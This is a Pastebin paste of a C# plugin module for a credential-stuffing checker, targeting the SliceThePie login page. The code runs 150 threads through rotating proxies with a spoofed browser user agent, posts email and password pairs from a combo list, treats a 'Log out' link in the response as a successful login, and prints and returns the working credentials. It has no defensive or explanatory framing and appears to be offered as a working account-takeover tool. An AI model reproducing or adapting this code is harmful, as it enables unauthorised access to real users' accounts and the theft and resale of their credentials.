Advertisement
Guest User

Untitled

a guest
Oct 2nd, 2017
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.65 KB | None | 0 0
  1. using System;
  2. using Plugins;
  3. using System.Text.RegularExpressions;
  4. using RestSharp;
  5. using System.Net;
  6.  
  7. namespace Modules
  8. {
  9. public class SliceThePie : Plugin
  10. {
  11. public int Threading => 150;
  12.  
  13. public string Site()
  14. {
  15. return "SliceThePie";
  16. }
  17.  
  18. public string ComboType()
  19. {
  20. return "Email";
  21. }
  22.  
  23. public bool Proxies()
  24. {
  25. return true;
  26. }
  27.  
  28. private static string CaptureBetweenString(string fullText, string leftString, string rightString,
  29. bool removeLeftRight)
  30. {
  31. if (removeLeftRight)
  32. {
  33. return new Regex($"{leftString}(.*){rightString}").Match(fullText).Groups[0].ToString()
  34. .Replace(leftString, "").Replace(rightString, "");
  35. }
  36. return new Regex($"{leftString}(.*){rightString}").Match(fullText).Groups[0].ToString();
  37. }
  38.  
  39.  
  40.  
  41. public string run(string username, string password, string proxy)
  42. {
  43. try
  44. {
  45. var client = new RestClient("https://www.slicethepie.com/login")
  46. {
  47. CookieContainer = new CookieContainer(),
  48. UserAgent =
  49. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
  50. Proxy = new WebProxy(proxy)
  51. };
  52. var request = new RestRequest(Method.GET);
  53.  
  54.  
  55.  
  56. var exec = client.Execute(request);
  57.  
  58.  
  59.  
  60. request.AddHeader("Referer", "https://www.slicethepie.com/login");
  61. request.Method = Method.POST;
  62. request.AddParameter("application/x-www-form-urlencoded",
  63. $"_token=&location%5Blatitude%5D=&location%5Blongitude%5D=&email={username}&password={password}",
  64. ParameterType.RequestBody);
  65.  
  66. exec = client.Execute(request);
  67.  
  68. if (exec.Content.Contains(
  69. ">Log out<")
  70. )
  71. {
  72.  
  73. Console.WriteLine("-------------------------");
  74. Console.WriteLine("Username: " + username);
  75. Console.WriteLine("Password: " + password);
  76.  
  77. Console.WriteLine("-------------------------");
  78. return $"{username}:{password}";
  79. }
  80.  
  81.  
  82. return "Failed";
  83. }
  84. catch
  85. {
  86. return "Failed";
  87. }
  88.  
  89.  
  90.  
  91. }
  92. }
  93. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement